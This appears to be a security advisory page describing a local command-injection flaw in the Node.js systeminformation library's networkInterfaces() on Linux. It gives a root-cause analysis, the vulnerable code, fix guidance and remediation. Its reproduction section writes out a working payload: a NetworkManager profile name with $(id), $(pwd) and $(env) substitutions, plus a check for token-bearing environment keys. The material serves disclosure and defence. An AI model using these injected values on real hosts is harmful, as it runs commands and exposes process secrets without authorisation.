Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/sebhildebrandt/systeminformation).
CVSS VectorVendor: https://github.com/sebhildebrandt/systeminformation
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
On Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters.
This is not caused by a caller passing attacker-controlled arguments into networkInterfaces(). The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync().
This issue was validated locally against real NetworkManager and real nmcli. Calling only:
require('./lib').networkInterfaces()was enough to trigger execution. The injected command ran with the privileges of the calling Node.js process.
Affected Component & Versions
Affected component:
lib/network.jsnetworkInterfaces()- Linux NetworkManager /
nmclihandling
Impact & Threat Model
Confirmed impact:
An attacker who can create or rename an active NetworkManager connection profile can execute arbitrary shell commands when a Node.js process using systeminformation calls networkInterfaces().
Confirmed realistic affected deployments include:
- local inventory agents
- monitoring agents
- diagnostics tools
- admin dashboard backends collecting host information
- privileged local desktop or device-management agents
If such a process runs with elevated privileges, the injected command executes with those same elevated privileges.
Confirmed facts:
- The payload was stored as a real NetworkManager connection profile name.
- Real
nmcli device statusreturned the name unchanged. networkInterfaces()parsed that value and reused it in shell commands.- The injected command ran as the calling Node.js process.
- Environment key categories were reachable from the injected process context.
Not claimed:
- No remote exploitation claim is made.
- No
AV:NorAV:Aclaim is made. - No SSID-to-connection-name attack path is claimed.
- File-delivery-only
.nmconnectionimport was not confirmed as a remote or unauthenticated path.
Root Cause Analysis
The root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name.
The interface name is sanitized before it is embedded into shell commands:
const iface = dev.split(':')[0].trim();
const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface);However, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization:
const connectionNameLines = resultFormat.split(' ').slice(3);
const connectionName = connectionNameLines.join(' ');
return connectionName !== '--' ? connectionName : '';That is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside "${connectionName}" does not make it safe. A connection name containing ", $(), ;, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution.
The vulnerable code executes through execSync(), which invokes a shell for command strings. As a result, interpolating connectionName into the command string creates a command-injection sink.
Exact Code Flow & File Paths
Source: lib/network.js:538-544
function getLinuxIfaceConnectionName(interfaceName) {
const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`;
try {
const result = execSync(cmd, util.execOptsLinux).toString();
const resultFormat = result.replace(/\s+/g, ' ').trim();
const connectionNameLines = resultFormat.split(' ').slice(3);The parsed value is then returned as connectionName.
Trigger: lib/network.js:987-991
lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
const connectionName = getLinuxIfaceConnectionName(ifaceSanitized);
dhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics);
dnsSuffix = getLinuxIfaceDNSsuffix(connectionName);
ieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName);Sink 1: lib/network.js:620
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.method;`;Sink 2: lib/network.js:660
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.dns-search;`;Sink 3: lib/network.js:676
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep 802-1x.eap;`;There are three distinct exploitable connectionName sinks.
Proof of Concept (PoC) & Reproduction Steps
The following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp.
Run from the project root:
cd /path/to/systeminformationConfirm proof files do not already exist:
test -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YETCreate a malicious NetworkManager dummy profile:
nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'Assign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface:
nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \
ipv4.method manual \
ipv4.addresses 192.0.2.253/32 \
ipv6.method disabledActivate the profile:
nmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'Confirm real nmcli exposes the malicious connection name unchanged:
nmcli device status | grep si-nmghsa0Expected relevant output includes the active connection name:
si-nmghsa0 dummy connected si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)Trigger the vulnerable library path with no attacker-controlled function argument:
node -e "const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item)
console.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});"Confirm command execution:
test -e /tmp/si-nm-id-proof && echo CONFIRMED || echo FAILED
cat /tmp/si-nm-id-proof
cat /tmp/si-nm-pwd-proofInspect environment key categories without printing secret values:
node -e "
const fs=require('fs');
const keys=fs.readFileSync('/tmp/si-nm-env-proof','utf8')
.split(/\n/).map(l=>l.split('=')[0]).filter(Boolean);
const wanted=['PATH','USER','HOME','SHELL','PWD','SSH_AUTH_SOCK','GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID'];
console.log('env_key_count='+keys.length);
console.log('present_categories='+wanted.filter(k=>keys.includes(k)).join(','));
"validated evidence:
saw_dummy_iface=true
uid=1000(smart) gid=1000(smart)
pwd=/home/smart/Downloads/systeminformation-master
env_key_count=74
present_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCKLocal Validation Summary & Aggregate Reachability
Validation was performed against real NetworkManager and real nmcli. The primary proof did not rely on a PATH stub.
Observed behavior:
- The malicious profile was accepted by NetworkManager.
- The active connection name appeared unchanged in
nmcli device status. - Calling only
require('./lib').networkInterfaces()triggered execution. - The proof artifacts were created only after the library call.
- The
idoutput matched the calling Node.js process identity. - The
pwdoutput matched the Node.js process working directory. - The environment proof demonstrated access to process-environment categories without printing secret values.
Aggregate API reachability:
lib/index.js:94:getStaticData()reachesnetwork.networkInterfaces()as part of static data collection.lib/index.js:307:getAllData()reachesgetStaticData()first.
During local validation, an aggregate runtime attempt later hit an unrelated osinfo.js error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was not used as the primary exploit proof.
Why This Is Not Intended Behavior
networkInterfaces() is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status.
The library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for connectionName is inconsistent with that defensive pattern.
Executing shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction.
Recommended Fix
Avoid shell interpolation entirely for NetworkManager calls.
Replace shell command strings with execFileSync() or spawnSync() using argument arrays. For example:
const { execFileSync } = require('child_process');
const output = execFileSync(
'nmcli',
['connection', 'show', connectionName],
util.execOptsLinux
).toString();Recommended code-level changes:
- Replace
nmcli device status 2>/dev/null | grep ${interfaceName}with argument-array execution and filter rows in JavaScript. - Replace every
nmcli connection show "${connectionName}" | grep ...shell string with argument-array execution. - Parse
ipv4.method,ipv4.dns-search, and802-1x.eapin JavaScript instead of using shellgrep. - Treat NetworkManager profile names as untrusted input even though they originate from local system state.
- Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix.
Regression Test Ideas
Add Linux-specific tests for NetworkManager connection names containing shell metacharacters.
Suggested malicious connection names:
name$(...)name"; ...; #`name...`name|...name;...
Expected behavior after the fix:
networkInterfaces()completes without executing shell syntax from the connection name.- No marker files or equivalent side effects are produced.
- The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried.
- Tests cover all three current sink helpers:
- DHCP lookup
- DNS suffix lookup
- IEEE 802.1x auth lookup
For unit-level coverage, mock the NetworkManager command wrapper so that nmcli device status returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings.
Credit request
If you publish an advisory or assign a CVE, please credit me as:
Ali Firas (thesmartshadow) - https://www.smartshadow.dev
AnalysisAI
Command injection in Node.js systeminformation library (versions 4.17.0 through 5.31.5) allows local authenticated attackers with NetworkManager configuration rights to execute arbitrary shell commands when networkInterfaces() is called on Linux systems. The vulnerability stems from unsanitized NetworkManager connection profile names being interpolated into three shell command strings executed via execSync(). While the library sanitizes network interface names, it fails to apply equivalent sanitization to connection profile names parsed from nmcli output. The vendor has released patch version 5.31.6. CVSS score of 7.8 (High) reflects local attack vector requiring low privileges, but successful exploitation grants full process privileges-critical when the calling application runs with elevated rights, as is common in monitoring agents, inventory tools, and system management dashboards.
Technical ContextAI
The systeminformation library is a Node.js package (npm/systeminformation) that collects system and hardware information across platforms. On Linux, the networkInterfaces() function queries NetworkManager via the nmcli command-line tool to retrieve network configuration details including DHCP status, DNS suffixes, and IEEE 802.1X authentication state. The vulnerability (CWE-78: OS Command Injection) occurs in lib/network.js where getLinuxIfaceConnectionName() parses connection profile names from nmcli device status output without sanitization. These names are then passed to getLinuxIfaceDHCPstatus(), getLinuxIfaceDNSsuffix(), and getLinuxIfaceIEEE8021xAuth(), which construct shell command strings like nmcli connection show "${connectionName}" and execute them via child_process.execSync(). While interface names are protected by util.sanitizeShellString(), connection profile names-which can contain shell metacharacters ($, backticks, semicolons, pipes)-are directly interpolated. Double-quoting alone provides no protection against command substitution or breakout sequences. The execSync() call invokes /bin/sh -c by default, making all interpolated content subject to shell interpretation.
RemediationAI
Upgrade to systeminformation version 5.31.6 immediately, released by the vendor on the date of advisory publication. The fix replaces shell command string interpolation with argument-array execution using execFileSync() or spawnSync() to pass connection names as discrete arguments rather than interpolated strings, eliminating shell interpretation. Installation command: npm install systeminformation@5.31.6 or update package.json and run npm update. Verify the installed version with npm list systeminformation. For applications using package-lock.json or yarn.lock, ensure dependency resolution updates the locked version. Release notes and changelog available at https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.6. If immediate upgrade is not feasible, implement compensating controls with awareness of their limitations: (1) Restrict NetworkManager profile modification permissions-audit membership in netdev, network, or equivalent groups and remove unnecessary access; configure PolicyKit rules to require root authentication for nmcli connection add/modify operations (limitation: breaks legitimate user network configuration workflows on desktop systems). (2) Run Node.js applications using systeminformation under dedicated service accounts with minimal privileges via systemd DynamicUser=true or equivalent sandboxing-this limits the impact of successful exploitation but does not prevent it (limitation: requires process privilege already appropriate for the application's function; monitoring agents may still require significant access). (3) On multi-tenant systems, use AppArmor or SELinux policies to restrict which processes can execute nmcli-confine the Node.js process to a profile that denies execution of NetworkManager tools if the application does not legitimately require runtime network configuration queries (limitation: may break application functionality; requires per-deployment policy development). (4) Deploy intrusion detection signatures to alert on suspiciously named NetworkManager connection profiles containing shell metacharacters like $(), backticks, semicolons, pipes-monitor both D-Bus NetworkManager events and filesystem /etc/NetworkManager/system-connections/ for anomalous profile names (limitation: detective not preventive; generates false positives in environments with legitimately complex connection naming). No workaround fully mitigates the vulnerability-upgrade to 5.31.6 is the only complete fix.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: ImportantShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32639
GHSA-hvx9-hwr7-wjj9